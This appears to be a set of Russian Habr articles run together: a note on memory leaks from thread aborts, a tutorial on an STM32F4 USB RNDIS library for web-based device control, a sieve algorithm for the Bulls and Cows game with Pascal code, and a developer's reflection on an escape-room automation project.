Код выделяет некоторое (500 байт) количество неуправляемой памяти. Ну выделяет и пусть себе выделяет, ну и что?
#### А вот что
Представьте себе, что этот код исполняется в отдельном потоке; и в тот момент, когда **уже** произошло выделение памяти, но **до** того, как указатель на выделенную область неуправляемой памяти был скопирован в переменную IntPtr, поток был прерван при помощи ThreadAbortException. Выделенная неуправляемая память повиснет в процессе и будет освобождена только по завершению процесса. Это не является проблемой для короткоживущих скриптов, но сильно портит жизнь разработчику долгоживущих приложений — серверов приложений, сервисов и прочего mission-critical софта.
Как бы вы решили эту проблему? И есть ли решение? Скептиков с аргументом «это так маловероятно, поэтому нефиг об этом задумываться» огорчу — если возможность есть, она непременно осуществится; и будет очень печально, если это будет происходить только на production. Пишите, я постараюсь отвечать на комментарии оперативно :) | https://habr.com/ru/post/69545/ | null | ru | null |
# STM32F4 USB RNDIS драйвер (управление устройством через Web-интерфейс)
Доброе время суток, дорогие друзья!
Первым делом хотелось бы с лучшими пожеланиями поздравить всех с минувшими новогодними праздниками.
Ранее [в статье](http://habrahabr.ru/post/248097) была анонсирована разработка RNDIS USB драйвера для контроллеров серии STM32F4. С тех пор библиотека постепенно развивалась и нынче доросла до первой release-версии. Библиотека под названием LRNDIS (LWIP + RNDIS) позволяет нам создавать на базе контроллера STM32F4 как устройства класса USB «модем», так и любые другие устройства с управлением через web-интерфейс. Пример управления платой stm32f4-discovery из web-браузера на Android-планшете представлен на видео:
На странице видеоролика представлена ссылка на исходные коды и HEX-файл прошивки для платы discovery, с которым вы сможете повторить данный эксперимент. В статье рассказано о том, как и когда технология доступа через WEB-интерфейс полезна, а также — как работает библиотека LRNDIS для контроллеров STM32F4. Также присутствует обучающий материал о работе USB и устройстве Ethernet-сетей.
**Предыстория создания библиотеки**
Предыстория проекта весьма типовая. ~~Стоял тёплый летний день.~~ Гхм… Для заказчика стояла задача разработать устройство с сервисным интерфейсом управления.
**Подробности**По мере развития прошивки было введено несколько команд управления по VCP-интерфейсу. Это значит, что после подключения USB-устройства в ОС создавался виртуальный COM-порт. Используя его, из пользовательского терминала передавались команды управления и диагностики. В ответ от устройства принимался статус выполнения и его текущее состояние.
Система вполне типовая с сервисной точки зрения: есть последовательный порт и набор команд для управления и диагностики.
Всё изменилось в короткий срок. По объективным причинам рос требуемый набор команд. Также понадобилась интерактивность вывода: некоторые параметры стало необходимо отображать в динамике. Как, например, показания магнитного датчика при проносе мимо него ферромагнетика. Для этого были введены дополнительные команды, которые, оперируя [управляющими последовательностями](https://ru.wikipedia.org/wiki/%D0%A3%D0%BF%D1%80%D0%B0%D0%B2%D0%BB%D1%8F%D1%8E%D1%89%D0%B8%D0%B5_%D0%BF%D0%BE%D1%81%D0%BB%D0%B5%D0%B4%D0%BE%D0%B2%D0%B0%D1%82%D0%B5%D0%BB%D1%8C%D0%BD%D0%BE%D1%81%D1%82%D0%B8_ANSI), печатали информацию в пользовательском терминале с высокой периодичностью. Это создавало необходимое ощущение риалтаймовости наблюдения. Интерактивные команды оказались настолько удобными для инженеров, что некоторая часть команд позже была добавлена в соответствии с концепцией. И тут раздался треск. Требовалось поддержать сразу несколько групп команд: интерактивные, диагностические, команды управления. При этом периодический рефакторинг кода был связан с трудоёмкой правкой в большом количестве обрабатываемых команд. Ясно стало, что ещё должна быть пользовательская группа команд — для менее квалифицированного персонала, который будет просто следовать инструкциям по эксплуатации. Для них возникла идея написания клиентского терминала с кнопочками и флажочками… И вот тут возникли сомнения: стало ясно, что мы занимаемся сервисной частью, уделяя всё меньше внимания функциональности! А ведь пользовательская программа, запускаемая на клиентской ЭВМ, также должна обладать своими требованиями: кроссплатформенность и LTS (длительностью поддержки).
Устройство, предположим, мы закончили, а пользовательское ПО мы должны портировать и тестировать с каждой версией выпускаемых операционных систем! А как долго?
Так и родился вопрос — как избавиться от дополнительных трудозатрат?
Было принято решение использовать стандарты гарантированно длительной поддержки. Те стандарты, которые нам позволят создать клиентскую программу управления устройством, которая будет поддерживаться максимально полным набором операционных систем в настоящем и будущем времени. На первых парах были найдены недостатки популярных кроссплатформенных фрэймворков:
— java: необходимость наличия в ОС [JVM](https://ru.wikipedia.org/wiki/Java_Virtual_Machine), и вытекающий из противного предположения необходимость дистрибьюции виртуальной машины
— qt: периодическая необходимость [версионного портирования](http://habrahabr.ru/post/164721/) и [нюансы](http://www.linux.org.ru/forum/mobile/9806237) запуска под Android.
Нет, эти сложности пугать не должны. Вопрос, пожалуй, только в трудочасах, которые мы, бывает, недооцениваем с учётом фактора длительной поддержки.
Так родилась идея сделать WEB-интерфейс для управления устройством. Он не требует разработки стороннего ПО, браузеры для отображения управляющей страницы есть во всех требуемых ОС. Потенциал оформления интерфейса огромный. Длительность поддержки в части стандартов http/html/js тоже не вызывает сомнений.
По замыслу, управление должно было работать следующим образом.
1. Подключаемое по USB устройство представляется сетевой картой
2. Клиентская ЭВМ (ПК или гаджет) получает IP-адрес для работы в сети нашего устройства
3. По запросу web-браузера на клиентской ЭВМ наше устройство отдаёт страницу
4. На странице присутствует информация о текущем состоянии и доступные элементы управления
5. При активации клиентом элементов управления, из браузера передаются соответствующие HTTP-запросы.
По сути, между браузером и устройством, ходят те же самые текстовые команды, но только в формате HTTP протокола.
Надо понимать, что это всего лишь один из вариантов из большого набора возможных решений. Он имеет свои плюсы и минусы. Так случилось, что сейчас к использованию web-интерфейсов прибегают производители в основном сугубо сетевых устройств: настройка модемов и роутеров. Посыл данной статьи — давайте применять то что, действительно, удобно. И давайте не бояться сложностей на пути: их преодоление сейчас нам сэкономит куда больше времени в будущем!
**Сфера применения библиотеки**
К сожалению, первый анонс в полной мере успешным не был, т.к. рассказ о сфере применения был упущен.
Попробуем немного наверстать упущенное и раскрыть эту тему.
Если мы находимся на этапе системного проектирования устройства, то следующие соображения могут склонить нас в сторону использования web-интерфейсов (вне зависимости от физического канала, Ethernet или USB):
1. Устройство должно иметь интерфейс управления и/или диагностики
2. Средства управления могут использоваться не только на этапе разработки, но и на этапе эксплуатации (ПО пользователя)
3. Квалификация пользователя может быть недостаточно высокой, что требует дружественный интерфейс управления
4. Способ «дружественного» управления должен быть доступен из под разных платформ и ОС
5. Соответствующие средства требуется поддерживать в рабочем состоянии длительное время
Дополнительным критерием может являться то, разрабатываем ли мы изначально сетевое устройство. А также: не будет ли (в противном случае) добавление в прошивку сетевого стека и web-сервера являться избыточным на фоне куда менее богатого функционала устройства. Иными словами, добавление web-интерфейса в контроллер управления лампочкой — очевидно, избыточное решение.
Если мы поверили в web-интерфейс, то следующие соображения, возможно, нам помогут в выборе физического канала связи (из Ethernet и USB перспективы).
| | | |
| --- | --- | --- |
| Тип | Внутрисхемное подключение | Типовое применение |
| Ethernet | Ethernet PHY контроллер | — Промышленные устройства
— Бытовые устройства с сетевой функцией и доп. питанием |
| USB | ULPI контроллер или прямое подключение к МК | Бытовые и часть промышленных устройств. В особенности, если:
— устройства имеют не гарантированный источник питания (питание от батареи, например)
— устройства потенциально подключаемые к хосту только с USB интерфейсом (например, планшет)
— миниатюрный класс устройств |
От себя добавлю — не смотря на все прелести, не посоветовал бы применять USB в промышленных узлах с требованием повышенной надёжности: часто встречается негативный опыт. Если альтернативы нет — то вопрос устойчивости требуется изучить досконально.
Исходя из приведённых пунктов, становится ясна сфера применения библиотеки: бытовые и часть промышленных устройств, которые:
— работают на базе МК STM32F4
— должны обладать дружественным интерфейсом управления
— должны управляться из под разного аппаратного и программного набора
— могут не иметь гарантированного источника питания
— должны иметь длительный период поддержки ПО управления
Возможных примеров использования технологии много даже вне области сугубо сетевых устройств.
К примеру, на данный момент есть планы по превращению stm32f4-discovery в инструмент любительской разработки с функциями портативного генератора/анализатора сигналов и осциллографа. Подключите такой помощник к телефону и посмотрите в динамике что происходит в интересующей вас цепи. Из бесплатных плюсов — не требуется собирать или устанавливать ПО; достаточно прошить HEX-файл и открыть браузер — в нём будут присутствовать все прелести GUI-интерфейса. На мой привередливый вкус — то что нужно. Конечно, инструмент не для профессиональной разработки, но известный интерес к нему присутствует.
Итак, надеюсь, разобрались. А теперь о том как работает библиотека.
**Как оно работает**
При ответе на этот вопрос спешить не будем. Человек, имеющий небольшой опыт взаимодействия с сетями, может вполне справедливо смутиться. Поэтому, касаясь того или иного протокола взаимодействия я буду также давать его краткое техническое описание на том уровне… которого когда-то не хватало самому.
*Шаг 1. Подключаем USB-устройство.*
Как говорилось раньше, на этом этапе наше устройство говорит хосту «я — сетевая карта!».
Хост (т.е. клиентская ЭВМ) после подключения к нему нашей поделки, начинает отправлять запросы.
**Хосту требуется получить следующую информацию** — как изделие называется
— какой у изделия VID и PID (идентификаторы производителя и изделия, [см. список](http://www.linux-usb.org/usb.ids))
— к какому [классу и подклассу](http://www.usb.org/developers/defined_class) относится устройство
— по каким endpoint точкам и какими блоками следует обмениваться данными
Ну, и некоторую другую информацию. Конфигурационные пакеты при этом передаются по точке endpoint 0. Ответные пакеты от устройства с информацией о себе обычно называют «дескрипторы USB устройства».
Подробно ознакомиться о процессе опроса (энумерации) можно [здесь](http://microsin.net/adminstuff/windows/how-usb-stack-enumerate-device.html).
Вообще, протокол USB достаточно богат… иногда даже кажется, что избыточно. Однако, это богатство вот уже много лет позволяет подключать совершенно разные устройства, даёт возможность передавать изохронные потоки, блоки данных, прерывания. В общем, всё необходимое, что может потребоваться широкому набору современных устройств. Обратная сторона медали — высокий порог входа в разработку USB-устройств.
После получения информации об устройстве, ОС хоста производит поиск подходящего драйвера для взаимодействия. В типовом случае, вроде flash-носителей (USB класс MSC) или клавиатуры с мышкой (HID класс), загружается стандартный для класса драйвер. В более «тяжёлом» случае, вроде нашей USB сетевой карты (CDC класс с RNDIS подклассом), операционная система поступает по усмотрению:
— ОС linux/android/mac, как правило, успешно пытается наладить типовой обмен
— ОС windows просит установить внешний драйвер
Наше устройство в первом случае работает сразу.
В случае ОС windows (позднее XP) можно установить [стандартный драйвер фирмы Microsoft](http://developer.toradex.com/knowledge-base/how-to-install-microsoft-rndis-driver-for-windows-7). Для Windows XP необходимо поставить inf-файл, доступный в [репозитории библиотеки LRNDIS](https://github.com/fetisov/lrndis/tree/master/drivers).
*Шаг 2. Драйвер инициализирует RNDIS-устройство*
На данной картинке изображён принцип связи с RNDIS устройством (ОС Windows).
Более подробно о нём можно почитать [тут](http://www.e-reading.club/chapter.php/89562/139/Russinovich,_Solomon_-_4.Vnutrennee_ustroiistvo_Windows_%28gl._12-14%29.html) и [там](https://msdn.microsoft.com/en-us/library/windows/hardware/ff569967%28v=vs.85%29.aspx).
Если вкратце, то RNDIS протокол — это расширение NDIS для внешних устройств. Роль протокола — обеспечить поддержку PnP и обмен сетевыми пакетами. По сути своей, RNDIS — самостоятельный сетевой интерфейс, информационной нагрузкой которого являются кадры канального/сетевого уровней (Ethernet или IP кадры, опционально).
На приведённой схеме это реализует кубик «Минипорт Remote NDIS», который отвечает за:
— сервис общения (спросить у сетевого устройства его MAC-адрес, размер пакета, скорость работы и прочее)
— оборачивает отправляемые хостом сетевые пакеты в RNDIS заголовок
— транслирует принимаемые от устройства пакеты, выбрасывая RNDIS заголовок
Кубик «Минипорт Remote NDIS USB» отвечает за транзит RNDIS посылок, работая с драйвером USB шины.
На стороне контроллера STM32 за поддержку RNDIS протокола и работу с USB отвечает файл [usbd\_rndis\_core.c](https://github.com/fetisov/lrndis/blob/master/lrndis/rndis-stm32/usbd_rndis_core.c). Он делает то же самое, что и «кубик» хоста «Минипорт Remote NDIS» — занимается приклеиванием/отклеиванием заголовков, а также отвечает на вопросы драйвера. Ответы, вроде MAC-адреса и скорости он берёт из файла [usbd\_rndis\_core.h](https://github.com/fetisov/lrndis/blob/master/lrndis/rndis-stm32/usbd_rndis_core.h).
После успешной инициализации RNDIS драйвер Windows создаёт сетевой интерфейс, который в последствии отображается в «Центре управления сетями» и в области трей-индикатора.
*Шаг 3. Получение IP-адреса*
Итак, для чего нужна служба получения динамического адреса. Эта служба называется [DHCP](https://ru.wikipedia.org/wiki/DHCP) (протокол динамической настройки узла).
После того как хост инициализирует наше устройство, он создаёт сетевой интерфейс.
**Сетевой интерфейс (если кто не знает)**Сетевой интерфейс — это программная сущность, предоставляющая доступ к ресурсам физической или виртуальной сети.
Чаще всего каждому сетевому интерфейсу хоста соответствует конкретный сетевой адаптер. Но есть множество других интерфейсов, вроде локальной петли или те, что служат для взаимодействия с виртуальной машиной. В их случае в сигнальном виде из хоста «ничего не выходит» — обмен происходит программным способом.
Каждому сетевому интерфейсу хоста должен быть сопоставлен хотябы один IP-адрес. По нему «жители сети» может обратиться к хосту.
Если «на проводе» адресовано несколько сетей (например, устройства с IP адресами 10.4.1.xx и 192.168.1.xx), то интерфейсу может назначаться два «личных» IP-адреса. Они могут выглядеть так: 10.4.1.151 и 192.168.1.200. Узнать набор сетевых интерфейсов и сопоставленных им IP-адресов в ОС Windows можно с помощью команды ipconfig и с помощью ifconfig в ОС Linux.
Для описания сетей/подсетей используется маска. Например, правильное описание сети 10.4.1.xx такое: сеть 10.4.1.0, маска 255.255.255.0. Либо, если 4-ёх байтовое число маски представить в двоичном виде и посчитать число ведущих едениц, то получится значение 24. Тогда сеть можно описать так: 10.4.1.0/24.
Подробнее об этом можно почитать в соответствующих [источниках](https://ru.wikipedia.org/wiki/IP-%D0%B0%D0%B4%D1%80%D0%B5%D1%81).
Известны две основные стратегии назначения IP-адреса интерфейсу: статический способ (когда пользователь сам прописывает адрес интерфейсу) и динамический (с помощью DHCP-службы).
Последний заключается в том, что при создании интерфейса на хосте активизируется служба DHCP-клиента. Она начинает посылать в сеть (конфигурация которой пока не известна) широковещательные пакеты по протоколу [UDP](https://ru.wikipedia.org/wiki/UDP), в надежде на то, что в сети присутствует DHCP-сервер.
Функция DHCP-сервера в общем, и в частности на нашем контроллере — ответить клиенту. В ответе контроллер «говорит»: клиент, ты в такой-то сети, держи такой-то IP-адрес, а ещё у нас имеется [DNS-сервер](https://ru.wikipedia.org/wiki/DNS-%D1%81%D0%B5%D1%80%D0%B2%D0%B5%D1%80) с таким-то адресом.
После этого хост «чувствует себя» намного лучше: он назначает интерфейсу выданный IP-адрес и запоминает IP-адрес DNS-сервера.
Инициализация закончилась, теперь можно вводить имя страницы (run.stm) в браузере хоста.
Надо сказать, что поведение библиотеки LRNDIS настраивается. Службу DHCP-сервера можно исключить из сборки. Тогда на хосте придётся прописывать любой адрес, принадлежащий диапазону 192.168.7.(2-254). Такая сеть создаётся по умолчанию. Её параметры (192.168.7.0/24) также настраиваются. В примере клиенту выдаются адреса в диапазоне 192.168.7.2… 192.168.7.4 с временем лизинга 24 часа.
Более подробно по вопросу настройки библиотеки можно посмотреть в [предыдущей статье](http://habrahabr.ru/post/248097).
*Шаг 4. Загрузка страницы*
Для загрузки страницы пользователь может ввести адрес нашего устройства [192.168.7.1](http://192.168.7.1) напрямую.
Однако, запоминать цифры не требуется, т.к. помимо DHCP-сервера, есть возможность собрать библиотеку с поддержкой DNS-сервера, функция которого — разрешать сетевые имена. В публикуемом примере DNS-сервер обучен разрешать имя ресурса «run.stm».
Поэтому, если в браузере написать [run.stm](http://run.stm), сетевая служба хоста отправит нашему (и не только) DNS-серверу запрос, в ответ на который сервер услужливо сообщит: доменному имени «run.stm» соответствует IP-адрес [192.168.7.1](http://192.168.7.1). Далее браузер хоста по известному адресу совершит [TCP](https://ru.wikipedia.org/wiki/TCP) подключение с целью отправить [HTTP](https://ru.wikipedia.org/wiki/HTTP) запрос на получение корневой страницы.
Запрос и ответ между браузером Firefox и контроллером:
История запросов при загрузке страницы:
Из истории мы видим, что, после загрузки корневого HTML-документа браузер также загружает из контроллера другие два файла: discovery.svg и zepto.min.js. Первый — это изображение платы discovery. SVG формат выбран, т.к., являясь изображением векторной графики, мало занимает места в ПЗУ микроконтроллера. Скриптовый файл zepto.min.js включён, т.к. является урезанным аналогом знаменитого [JQUERY](https://ru.wikipedia.org/wiki/JQuery). Надо заметить, что скрупулёзной экономии места в ПЗУ не производилось, т.к. не смотря на жертву в 35 Кб на все статические ресурсы, памяти контроллера ещё вполне достаточно. К тому же данный размер с дальнейшим увеличением сложности интерфейса обещает расти заметно медленней. Если же интерфейс разросся существенно — всегда есть выход хранить и отдавать статические ресурсы в сжатом виде — все известные браузеры на данный момент поддерживают декомпрессию «на лету».
Ещё один запрос, который отправляет браузер — это запрос /state.cgi. Он формируется скриптом из корневого HTML-документа с периодичностью 5 раз в секунду. Нужен запрос для получения в динамике текущего состояния устройства.
При приёме данного запроса, контроллер формирует и отвечает следующей строкой в [JSON](https://ru.wikipedia.org/wiki/JSON) формате:
```
{ "systick": 9528746, "button": 0, "acc": [54, -288, 936], "leds": { "g": 0, "o": 0, "r": 0 } }
```
Она и содержит все данные о текущем состоянии устройства, которые впоследствии отображаются на странице средствами JavaScript кода.
Ну и, пожалуй, последний момент в общении с браузером — способ управления.
В примере происходит управление тремя светодиодами. Например, при щелчке на флажок красного светодиода средствами JavaScript отправляется HTTP GET запрос с передачей параметра «r» и значения 0 или 1. Полностью запрос выглядит так: /ctl.cgi?r=1
Таким или альтернативными способами можно передавать любой набор данных, будь то логическое состояние 0/1, или значение текстового поля, или уведомление о нажатии кнопки. Красота подхода заключается в том, что программная логика вовсе может не знать о элементах управления, ибо получает строго формализованные управляющие сообщения. Также можно менять и отлаживать интерфейсную часть (HTML+JS) локально со всеми удобствами, после чего однократно заливать в составе прошивки в контроллер. Локальной web-разработкой, что не мало важно, может заниматься соответствующий специалист.
**О стеке LWIP**
Никакого сетевого обмена устроить бы не получилось, если бы не данный сетевой стек, который и был встроен в библиотеку.
Поскольку библиотека работает под «голым» железом (без ОС и динамической аллокации памяти), то надстройка в виде сокетов для использования недоступна. Написание сетевых приложений поэтому происходит с использованием сырого API стека. По этой теме, к счастью, в сети много [информации](http://lwip.wikia.com/wiki/Raw/TCP).
Также в составе пакета contributions есть множество уже готовых решений. В том числе оттуда и был использован HTTP-сервер.
В прошлой статье я давал краткое описание стека и его настройки. На данный момент был уточнён набор важных для стека определений в файле:
**lwipopts.h**
```
#define NO_SYS 1
#define MEM_ALIGNMENT 4
#define LWIP_RAW 1
#define LWIP_NETCONN 0
#define LWIP_SOCKET 0
#define LWIP_DHCP 0
#define LWIP_ICMP 1
#define LWIP_UDP 1
#define LWIP_TCP 1
#define ETH_PAD_SIZE 0
#define LWIP_IP_ACCEPT_UDP_PORT(p) ((p) == PP_NTOHS(67))
#define MEM_SIZE 10000
#define TCP_MSS (1500 /*mtu*/ - 20 /*iphdr*/ - 20 /*tcphhr*/)
#define TCP_SND_BUF (2 * TCP_MSS)
#define ETHARP_SUPPORT_STATIC_ENTRIES 1
#define LWIP_HTTPD_CGI 1
#define LWIP_HTTPD_SSI 1
#define LWIP_HTTPD_SSI_INCLUDE_TAG 0
```
Также была решена проблема с mem\_malloc. Хоть текущая версия прошивки и не использует динамическую аллокацию, аппаратный крах при вызове mem\_malloc держал настороже. Разрешилось добавлением определения MEM\_ALIGNMENT, который раньше был обойдён вниманием.
По этой же причине стабильно заработал поддерживаемый сообществом HTTP-сервер, что и побудило отказаться от планов создания собственного.
**Нерешённые вопросы**
1. Ньюансы релицензирования стека lwip, который может иметь свои условия включения в состав другого ПО;
2. Доработка DNS-сервера для обработки «многовопросных» пакетов;
**Вместо заключения**
Благодарю читателя за терпение и надеюсь, что данная статья окажется для него полезной. Опубликованная в исходных кодах [библиотека LRNDIS](https://github.com/fetisov/lrndis) доступна для использования на правах MIT-лицензии. Считаю замечательным, если работа, на которую было уделено ощутимое время и запас сил, окажется полезной ещё кому-то. На худой конец, без использования открытых библиотек не получилось бы и этой.
В данный момент планируется поддержка библиотеки, поэтому за вопросами можно обращаться по адресу электронной почты fsenok@gmail.com. | https://habr.com/ru/post/274663/ | null | ru | null |
# Метод решета в игре «Быки и коровы»
Здравствуйте.
Еще осенью на 2 курсе в качестве лабораторной работы по «Теории автоматов» преподаватель на ходу придумывал нам задания, ориентируяюсь на наши пожелания в оценке. В основном это были игры. Кому-то достался хоккей, кому-то теннис, мне же досталась не столь известная логическая игра **«Быки и коровы»**.
Нужно было реализовать хоть какое-то обоснованное поведение компьютера в игре с человеком. Но я пошел дальше и уже через месяц компьютер в большинстве случаев легко обыгрывал моих однокурсников. А по предмету был получен автомат. Программу получите после описания алгоритмов.
#### Суть игры
Игрок и компьютер загадывают четырехзначные числа, используя цифры от *0* до *9*. Игроки пытаются разгадать числа соперника, посылая ему возможные варианты чисел, в ответ получая два числа — число *«быков»* и число *«коров»*. Что же это за числа такие?
* «Быки» — правильные цифры на правильных местах. Четыре «быка» — залог победы, мечта каждого фермера.
* «Коровы» — правильные цифры на неправильных местах.
Для понимания приведу пример:
> Загадано число *1622*. Если мы предположим *6112*, то в ответ придет: *1 бык*(четвертая цифра «2» на своем месте), *2 коровы*(шестерка и единица не на своих местах).
Оперируя данными о «скоте» противника, нужно угадать число быстрей него.
Первый же тривиальный алгоритм, который так и напрашивается, — это перебирать наборы *«1111», «2222», «3333»...* до тех пор, пока не будет получен полный набор, а затем генерировать перемещения этого набора.
> Например, загадано то же число ***1622***, мы предполагаем *«1111»*, получаем в ответ *«быка»*, затем *«2222»* — получаем в ответ уже *2 «быков»*, *«3333»* — пусто, *«4444»* — пусто, *«5555»* — пусто, *«6666»* — *1 бык*.
>
> Дальше продолжать не будем, так как набралось уже 4 быка в сумме. Осталось найти нужную комбинацию. Будем генерировать перестановки, пока не получим Та-дааам: *«1226», «1262», «1226», «1262», **«1622»***. Все.
Очевидно, что алгоритм не очень хорош, зато понятный и не запутаться. Максимальное число ходов для угадывания — 10(«7890»)+24 перестановки. *34* — это в самом худшем случае. Конечно возможно перебор и перестановки всячески оптимизировать, например перебирать поочередно с двух концов — *«1111», «0000», «2222», «9999»...* так же оптимизировать генерацию перестановок при наличии одинаковых цифр(как в нашем примере — несколько раз спрашиваем одно и то же).
Но не будем этим заниматься. Пусть данная стратегия будет у нас легким уровнем сложности компьютера.
Много я сидел на парах и играл сам с собой, пытаясь придумать какой то свой крутой алгоритм. Но приходили только единичные идеи, из которой я не мог составить единой стратегии. Начал изучать литературу. Наткнулся на статьи, рода «угадывание за 7 ходов». Они меня не привлекли, поскольку там *очень* много ветвления. Но прочитав книгу нашего Кировского профессора(но не из нашего университета) **С.М. Окулова «Программирование в алгоритмах»**, я нашел описание довольно простого и достаточно эффективного алгоритма. В нем используется так называемый **«метод решета»** (примером может служить известное *«решето Эрастофена»* — классическая задача поиска простых чисел). Мы рассматриваем конечное множество всех возможных чисел и каждый ход исключаем все элементы множества, не представляющие интереса.
> Например, для загаданного числа *1234* мы предположили *5678*, и получили *0 быков и 0 коров*, чего думать — мы исключаем все числа, содержащие *5, 6, 7, 8*. Сразу можете прикинуть, сколько отнимется из *10000.* Не стоит пугаться множества из *10000* элементов. За *5-6* ходов останется всего несколько чисел.
Начнем со структур данных. Код на паскале:
```
Const Pmax=10000;
Type Post=string[4];
Var A:array[1..Pmax] of Post; //множество
B:array[1..Pmax] of boolean; // массив флажков, 1 - значит подходит, 0 - исключено
```
Инициализация:
```
t:=1;
for i:=0 to 9 do
for j:=0 to 9 do
for k:=0 to 9 do
for l:=0 to 9 do begin
a[t]:=inttostr(i)+inttostr(j)+inttostr(k)+inttostr(l); // формируем множество
inc(t); end;
for i:=1 to pmax do
b[i]:=true; // по умолчанию все числа подходят
```
Функция, реализующая анализ элемента множества по значениям переменных (bk,kr — быки и коровы)
```
function pr(a,b:post;bk,kr:integer):boolean; //b - наш ход, a- элемент "тестируемого" множества
var i,x:integer;
begin
x:=0;
for i:=1 to 4 do // проверка по быкам
if a[i]=b[i] then inc(x);
if x<>bk then
begin
pr:=false;
exit;
end;
x:=0;
for i:=1 to 4 do // проверка по коровам
if (a[i]<>b[i]) and (pos(b[i],a)<>0)
then inc(x);
if x
```
таким образом после каждого нашего хода запускаем решето
```
for i:=1 to Pmax do
if b[i] and not pr(a[i],hod,bk,kr) then b[i]:=false;
```
В заключение можно сказать, что алгоритм затратен к памяти и по сравнению со стандартными алгоритмами будет думать «дольше», но насколько же он проще и вполне оптимизируется.
Ну вот и все, совсем не сложно. Первая моя статья, судить строго.
Как и обещал, ссылка на мою игрульку со второго курса, чтоб на себе почувствовать метод «решета»:
[Быки и коровы](http://rghost.ru/39447884) | https://habr.com/ru/post/148846/ | null | ru | null |
# Как бросить escape room
Статья отчасти является предупреждением допущений, не исключив которые разработчик может ощутить всю их неблагоприятность, отчасти — попыткой объяснить — что же от вас может хотеть заказчик, отчасти — работой над ошибками или признанием «сам дурак». Caution: DotA jargon ahead, «Я не гик!», а также искусное изложение без помощи матов. Продолжая читать, вы рискуете составить мнение о том, что автор — абсолютно отбитое животное, не знающее жалости, страха и пощады ©. Просто примите как данность, что каждый имеет право быть неидеальным, и всё у нас будет ладненько. Пожалуйста, и спасибо.
Работа велась над автоматикой escape room, детали которой, как принято, будут опущены. Длилась эта работа больше года, и первоначально там были действительно ощутимые огрехи в виду банального отсутствия опыта, но потом всё вылилось в неоптимальное управление. Заказчики (звали их, скажем, Гудвин и Урфин) занимались в основном косметической составляющей проекта, занимались от и до, после мы сосредоточились на собственно логике и реализации, т. к. собственно двери и объекты были готовы, и надо было сделать так, чтобы они шевелились. Время начинало давить, и мы на каком-то этапе спали часов по 5 в сутки.
Разумеется, надо размывать детали для соблюдения секретности, но мне слишком конкретно что-то вспомнить и не удастся, т. к. мной была прекращена всякая работа над ним более 5 месяцев назад. Сдельной работы оказалось достаточно чтобы позволить себе каждый день тупым ножом открывать консервную банку с какой-нибудь сайрой, а чайные пакетики были настолько компактными, что помойка была счастлива меня увидеть раз в две недели. Комната моя превратилась в вентиляционную шахту, в которой жила Ребекка из фильма «Чужие». Или «Чужой 2», кому как привычнее. Если кто не помнит, то вот вам скрин с кучей мусора:
События, послужившего триггером; чего-то такого, что вынудило меня написать в чат «gg» и ливнуть, как такового не было. Меня просто посетила чёткая и ясная мысль: мне нужен длительный отдых. Передатчик на моём сотовом телефоне перешёл в авиарежим на 4 месяца. Эти же 4 месяца в статистике запросов на фейс, вконтакт, форумы, в которых как-либо могли фигурировать мои cookie-данные, ознаменованы такой длииииинной дырой. Никто, ни по какому каналу, не мог выйти со мной на связь. Мне просто было в кайф сидеть в комнате, жрать тушёнку и катать в дотан. Паскудное занятие, я знаю, но зато у меня было время хоть где-то достичь совершенства.
Резюмируя весь проект, я могу сразу назвать его главную ошибку — отсутствие системного подхода. Я знаю, что в «Космической одисее» использовалась специальная интерфейсная плата, обеспечивающая взаимодействие периферии с TCP/IP. У меня же таких плат не было, лишь горсть Arduino, которые в итоге понадобились для неких совершенно простецких вещей. Мы постарались свести всё возможное к управлению простым 0 или 1, ногодрыгу, как говорят микроконтроллерщики. Это снизило нагрузку на центральный сервер, собранный на Mega2560, чтобы принимать и выдавать информацию по web с наименьшей задержкой. Логика квеста была переписана с Wiring на JavaScript, но это привело к тормозам, ибо JS выполняется в системе, не являющейся RTOS, в итоге логика потом ещё переписывалась на свойский формат (xml, которым руководствовалось приложение на Java), хотя в целом наивно полагать что это что-то дало, т. к. выполняется оно по-прежнему в среде Windows. Вообще в этой работе часто переделывалось нечто вроде бы уже отлаженное, где неожиданно вылезали какие-то косяки, и первоначально статья писалась именно об этом; но теперь она о том, что реализацию логики осуществляет приложение на Java, точнее — о причинах и предпосылках этого.
Почему Java а не JS? Понятия не имею, его писал другой человек, видимо этот инструмент ему привычнее. Получив сообщение из группы Whatsapp о моей неявке для прояснения деталей этот человек прислал в группу кадр Пикарда, прислонившего руку к голове, но знал бы он, что в тот момент мне уже было абсолютно плевать — думаю, смог бы понять. А мы попробуем разобраться, как так получилось. Сейчас уже не так напрягает возможное гавкание друг на друга «они неадекваты, не подчиняются предписаниям, не соблюдают стандарты и правила эксплуатации, выводят оборудование на недопустимые режимы, подвергают сомнению мою квалификацию каждой фразой», «он неадекват, некомпетентный, довести до конца проект не может, сроки срывает, постоянные переделки, какой-то самопал не как у всех», и т. д. и т. п.
Побазлали и хватит. Гудвин и Урфин — те ещё упыри, однако последнее что пришло бы мне в голову — намеренно портить им дела. Выгоды я не получу, а вред назло, просто так — не на общее благо. Итак, зачем же тогда ухудшать мир? Думаю, и у них не особенно высок приоритет задачи обхаять меня и устроить антирекламу, чтобы никто никогда ко мне не обращался. Вряд-ли вообще такая задача поставлена. Опыт — суровый учитель, и нужно найти в себе силу идти дальше. И самое главное — пользоваться этим опытом. Часть этого опыта, по крайней мере ту, что смогу вспомнить — смею надеяться, я передам вам, уважаемый читатель.
Мы нечасто крыли друг друга матом, но всё же настроение было так себе. Дабы не свихнуться, мне пришлось использовать в работе самое тяжёлое из всего чем можно было упарываться — гайды VJLink и стримы Карины. Да-да, напоминаю: я не гик, я просто животное. Разумеется, я отдаю себе отчёт в том что эти двое — клинические имбецилы: не надо думать, что кто-то из них является для меня духовным учителем; на эту роль гораздо больше подходит itpedia. Но мы как-то отвлеклись от квеста, мысли по пути к которому сводились примерно к «да опять его пилить, ну сколько можно, когда это кончится». Вообще, отсутствие энтузиазма на любом проекте отражается самым скверным образом. Кому надо потеть, когда Сларк в вашей команде 0-7? Так и здесь: если каждая задача, каждое внедряемое решение встречает вас глюком на глюке, тает всякая надежда. Располагайтесь поудобнее и я поделюсь некоторыми мыслями о том, как не допустить этого. Также, мне бы хотелось побольше таких приёмов увидеть в комментариях. Любой опыт субъективен, но именно большой объём прецедентов позволяет их обобщать и анализировать. Учиться. Мной было допущено множество ошибок, но всё же не все из возможных. Вероятно, кто-то из читателей сталкивался с чем-то иным, но в общем-то подобным. Поделитесь своим опытом, all будет вам благодарен.
### Мои правила
* Все датчики должны иметь индикацию.
* Все компараторы должны иметь гистерезис.
* Все скрутки должны быть пропаяны.
* Все силовые провода должны быть толстыми.
